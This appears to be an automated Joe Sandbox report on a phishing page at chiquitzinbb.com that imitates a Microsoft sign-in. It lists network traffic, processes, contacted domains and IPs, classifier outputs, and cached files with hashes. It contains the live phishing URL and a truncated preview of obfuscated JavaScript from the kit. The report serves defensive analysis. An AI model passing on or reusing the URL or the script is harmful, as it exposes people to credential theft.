Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.4:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.4:49864 version: TLS 1.2

Source: classification engine

Classification label: mal96.phis.win@16/34@18/11

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=1952,i,14074926367511675992,18012498330361265080,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=1952,i,14074926367511675992,18012498330361265080,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Name	IP	Active	Malicious	Reputation
d2vgu95hoyrpkh.cloudfront.net	18.245.31.33	true	false	unknown
chiquitzinbb.com	157.230.134.73	true	true	unknown
cs837.wac.edgecastcdn.net	192.229.133.221	true	false	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	unknown
s-part-0017.t-0009.fb-t-msedge.net	13.107.253.45	true	false	unknown
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	unknown
www.google.com	216.58.206.68	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	unknown
aadcdn.msftauth.net	unknown	unknown	false	unknown
www.w3schools.com	unknown	unknown	false	unknown
cdn.socket.io	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
https://chiquitzinbb.com/favicon.ico	true	unknown
https://cdn.socket.io/4.7.5/socket.io.min.js	false	unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg	false	unknown
https://chiquitzinbb.com/o/jsnom.js	true	unknown
https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	true	unknown
https://www.w3schools.com/w3css/4/w3.css	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://cdn.socket.io/4.6.0/socket.io.min.js	chromecache_49.2.dr, chromecache_62.2.dr	false	unknown
https://google.com	chromecache_49.2.dr, chromecache_62.2.dr	false	unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49_6ffe0a92d779c878835b40171ffc	chromecache_49.2.dr, chromecache_62.2.dr	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.253.45	s-part-0017.t-0009.fb-t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.245.31.33	d2vgu95hoyrpkh.cloudfront.net	United States	16509	AMAZON-02US	false
192.229.133.221	cs837.wac.edgecastcdn.net	United States	15133	EDGECASTUS	false
216.58.206.68	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
18.245.31.5	unknown	United States	16509	AMAZON-02US	false
152.199.21.175	sni1gl.wpc.omegacdn.net	United States	15133	EDGECASTUS	false
142.250.186.100	unknown	United States	15169	GOOGLEUS	false
157.230.134.73	chiquitzinbb.com	United States	14061	DIGITALOCEAN-ASNUS	true

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1541248
Start date and time:	2024-10-24 16:03:27 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal96.phis.win@16/34@18/11
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.181.227, 142.250.184.206, 108.177.15.84, 34.104.35.123, 142.250.74.202, 172.217.18.10, 142.250.184.202, 172.217.16.202, 142.250.186.170, 142.250.186.42, 142.250.186.74, 142.250.186.106, 172.217.16.138, 142.250.181.234, 142.250.185.234, 142.250.186.138, 216.58.206.74, 142.250.185.170, 142.250.184.234, 142.250.185.202, 142.250.185.227, 142.250.184.227, 52.149.20.212, 88.221.110.91, 2.16.100.168, 20.3.187.198, 192.229.221.95, 13.95.31.18, 216.58.206.67
Excluded domains from analysis (whitelisted): logincdn.msauth.net, azurefd-t-fb-prod.trafficmanager.net, lgincdnmsftuswe2.azureedge.net, slscr.update.microsoft.com, otelrules.afd.azureedge.net, clientservices.googleapis.com, a767.dspw65.akamai.net, clients2.google.com, ocsp.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, ocsp.edge.digicert.com, sls.update.microsoft.com, update.googleapis.com, www.gstatic.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, aadcdnoriginwus2.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, download.windowsupdate.com.edgesuite.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, edgedl.me.gvt1.com, aadcdnoriginwus2.afd.azureedge.net, azureedge-t-prod.trafficmanager.net, lgincdnmsftuswe2.afd.azureedge.net, clients.l.google.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N

Input	Output
URL: https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N Model: claude-3-haiku-20240307	```json { "contains_trigger_text": true, "trigger_text": "Trying to sign in", "prominent_button_name": "Cancel", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N Model: claude-3-haiku-20240307	```json { "brands": [] }
	```json { "brands": [] }
URL: https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N Model: claude-3-haiku-20240307	```json { "contains_trigger_text": true, "trigger_text": "Sign in", "prominent_button_name": "Next", "text_input_field_labels": [ "Email, phone or Skype" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N Model: claude-3-haiku-20240307	```json { "brands": [ "Microsoft" ] }
	```json { "brands": [ "Microsoft" ] }
URL: https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N Model: gpt-4o	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'.", "The URL 'chiquitzinbb.com' does not match the legitimate domain for Microsoft.", "The domain name 'chiquitzinbb.com' does not contain any recognizable elements related to Microsoft.", "The presence of input fields such as 'Email, phone or Skype' is typical for Microsoft services, but the domain mismatch is a strong indicator of phishing.", "The URL does not contain any subdomains or elements that would suggest a legitimate association with Microsoft." ], "riskscore": 9} Google indexed: True
URL: chiquitzinbb.com Brands: Microsoft Input Fields: Email, phone or Skype

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (64593)
Category:	dropped
Size (bytes):	100217
Entropy (8bit):	4.516887791126109
Encrypted:	false
SSDEEP:	1536:ib8J+apQ3jx2wtA4+eS6e6+mitQT3TLJCLaRlAq:ix2wtA4+eS6e6+XE3TLJCLIlAq
MD5:	57B032180AFEBEB7A6C31D0A7F35C47A
SHA1:	E6C8EE94D3A447EF0B81A1F406AA7F2907CBC798
SHA-256:	DB290E0F0161B9962787FA22C846F5D53BEBCD5B46B77837AF5048C09981A7BB
SHA-512:	0A059C64899F0A20FE9EDF7A94E9F0FE76775B7DED8703140CF5D309D87643575E1F98C4020862270A44D679170CDD9B061B7C924CAE7D7B7B5DFE3F66A6F269
Malicious:	false
Reputation:	low
Preview:	function _0x1fae(_0x34ba19, _0x598b18) { const _0x59eb05 = _0x59eb(); return _0x1fae = function(_0x1fae59, _0x391fd5) { _0x1fae59 = _0x1fae59 - 0xea; let _0xcbc169 = _0x59eb05[_0x1fae59]; return _0xcbc169; }, _0x1fae(_0x34ba19, _0x598b18); }(function(_0x3ed08f, _0x56c8b3) {. const _0x2019c0 = _0x1fae,. _0x43cc63 = _0x3ed08f();. while (!![]) {. try {. const _0x262285 = parseInt(_0x2019c0(0x121)) / 0x1 + -parseInt(_0x2019c0(0x170)) / 0x2 + -parseInt(_0x2019c0(0x14b)) / 0x3 + -parseInt(_0x2019c0(0x14d)) / 0x4 + -parseInt(_0x2019c0(0x14c)) / 0x5 + -parseInt(_0x2019c0(0x118)) / 0x6 + parseInt(_0x2019c0(0x171)) / 0x7;. if (_0x262285 === _0x56c8b3) break;. else _0x43cc63['push'](_0x43cc63['shift']());. } catch (_0x3070ea) { _0x43cc63['push'](_0x43cc63['shift']()); }. }.}(_0x59eb, 0x27508), window['addEventListener']('load', function() {. const _0x1706f4 = _0x1fae;. document[_0x1706f4(0x166)][_0x1706f4(0x102)](_0x1706f4(0x151

Chrome Cache Entry: 50

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 7390
Category:	dropped
Size (bytes):	2407
Entropy (8bit):	7.900400471609788
Encrypted:	false
SSDEEP:	48:XVBUIsjnR4Zg0ddZ8E5EyQk7J0e+r/9lifUUuHDM3oOY+:XUIIKZg0ddZdEzTsfUUmyY+
MD5:	9D372E951D45A26EDE2DC8B417AAE4F8
SHA1:	84F97A777B6C33E2947E6D0BD2BFCFFEC601785A
SHA-256:	4E9C9141705E9A4D83514CEE332148E1E92126376D049DAED9079252FA9F9212
SHA-512:	78F5AA71EA44FF18BA081288F13AD118DB0E1B9C8D4D321ED40DCAB29277BD171BBB25BA7514566BBD4E25EA416C066019077FAA43E6ED781A29ADB683D218E2
Malicious:	false
Reputation:	low
Preview:	...........Y=s.8......mr...f.y....8.R...l.Nk.l..?....{$.l\|e'zM.3...............S(..........O./......Mn.e..O..7.O.?=..?........../...~yy._t....8.a........~.....+..$..*..z..\....~..Jx\|............\|y...=................./.3....kN2...H...;<sy....H..?2..q5.0.0....f......L.^..v.W.L..7XCm8.I...6\.p.....O/%sX..I.......u............yE......$q....1/.....W....Zg...w..-..v....x...N)........R....c.W5.=...{_1_...+.#.......e...K..:..b.Ec...!...".I1../2X.....].i.sAF;^.1....1/UM.[r..d...>RX..U...<..1...V.\|.......X.jX:..0...9..F.KsT...{.6,.._Q..9.b...Q)..0.R.t.u.JN..u$V.%X.9k..t.."..Q.........y.V.Z$7.q.{......k.......W....5.x..K.."y...=......4...h\|!....r.."v\f`..c+.......b..hc.jn....0.&G..m.=.@..6../......6....tM^.&3.$......~.....m2...wFs..#5.Hy..?...r.p.O.X.'n...Z8L......7.;..QWGnr.sY..n...3.Jfq..+{m....\...X.q...0...0...........}}d...33.....Q...F$.8..v..UH&.H........0.q..n...q...F.Y7...u..B>..J.A.....$.,....w......Z..oe..w..%....$[+.......d...

Chrome Cache Entry: 51

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (49854)
Category:	downloaded
Size (bytes):	49993
Entropy (8bit):	5.216475744251136
Encrypted:	false
SSDEEP:	768:RKrClF4PgzcEZ5G/Z4G9qXLZed86mhrjlm:RPXcZ4TLZzpPm
MD5:	777EB8FD4F8320B6E5CC9A7159BDEC6A
SHA1:	6B4032E88D0040182089FE3BEFDECEE9346E8921
SHA-256:	73EBA16BC895FDFA454E27ECB80DEF31EDE8D861F99E175FF93B110EABEC044F
SHA-512:	D75B7C43EBD8F49942AEBF8FBDE64A4D826AF27ECED3D6395FFA64FDA31DDEF26E812BEEE313AE9C6114CDA003A8BDC8F1C64A13FA41C3009F5F30E4449876B1
Malicious:	false
Reputation:	low
URL:	https://cdn.socket.io/4.7.5/socket.io.min.js
Preview:	/!. Socket.IO v4.7.5. * (c) 2014-2024 Guillermo Rauch. * Released under the MIT License.. */.!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e\|\|self).io=t()}(this,(function(){"use strict";function e(t){return e="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},e(t)}function t(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function n(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable\|\|!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,(i=r.key,o=void 0,"symbol"==typeof(o=function(e,t){if("object"!=typeof e\|\|null===e)return e;var n=e[Symbol.toPrimitive];if(void 0!==n){var r=n.call(e,t\|\|"default");if("object"!=typeof r)return r;th

Chrome Cache Entry: 52

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 250
Category:	downloaded
Size (bytes):	199
Entropy (8bit):	6.766983163126765
Encrypted:	false
SSDEEP:	6:XtkhhsKHWpSiKPjPOeNWo6Rs7J1TxODwpV:X8hsKHDTPyeNSRs7vV0aV
MD5:	21B761F2B1FD37F587D7222023B09276
SHA1:	F7A416C8907424F9A9644753E3A93D4D63AE640E
SHA-256:	72D4161C18A46D85C5566273567F791976431EFEF49510A0E3DD76FEC92D9393
SHA-512:	77745F60804D421B34DE26F8A216CEE27C440E469FD786A642757CCEDBC4875D5196431897D80137BD3E20B01104BA76DEC7D8E75771D8A9B5F14B66F2A9B7C0
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e328171091.svg
Preview:	..........u....0.._%2k.8?....w..k..!.M.."b5<.M.bD..c..l.:..}...@.8p.sn.j...%".B...J..6...c..^..?...2d...R..w.<%..}..}s..ir0/.......:8).(.......^u...0..U..I.F....{]...[-......~..F.P_.....G.....

Chrome Cache Entry: 53

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 513
Category:	dropped
Size (bytes):	276
Entropy (8bit):	7.316609873335077
Encrypted:	false
SSDEEP:	6:XtqDFR4m68lkQfanvbEzXI0iP427cnLPw6/aqqmb/:XUD34sMDaXI0demb/
MD5:	4E3510919D29D18EEB6E3E8B2687D2F5
SHA1:	31522A9EC576A462C3F1FFA65C010D4EB77E9A85
SHA-256:	1707BE1284617ACC0A66A14448207214D55C3DA4AAF25854E137E138E089257E
SHA-512:	DFAD29E3CF9E51D1749961B47382A5151B1F3C98DEABF2B63742EB6B7F7743EE9B605D646A730CF3E087D4F07E43107C8A01FF5F68020C7BF933EBA370175682
Malicious:	false
Reputation:	low
Preview:	...........Q=o. ..+.......=t....E.k["...../g;n.,....{.......2....e.......J).8..).5.....>,.ih...^s...&M.Ta..m........C.N5.G.!.-...}.9.~........u.3..@i..qK.U.......E.........S.......A.....6...G..g...,f3g.5F..I...G@<..L.:`.N&.?R....d..(.7._....z.L.......s....

Chrome Cache Entry: 54

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
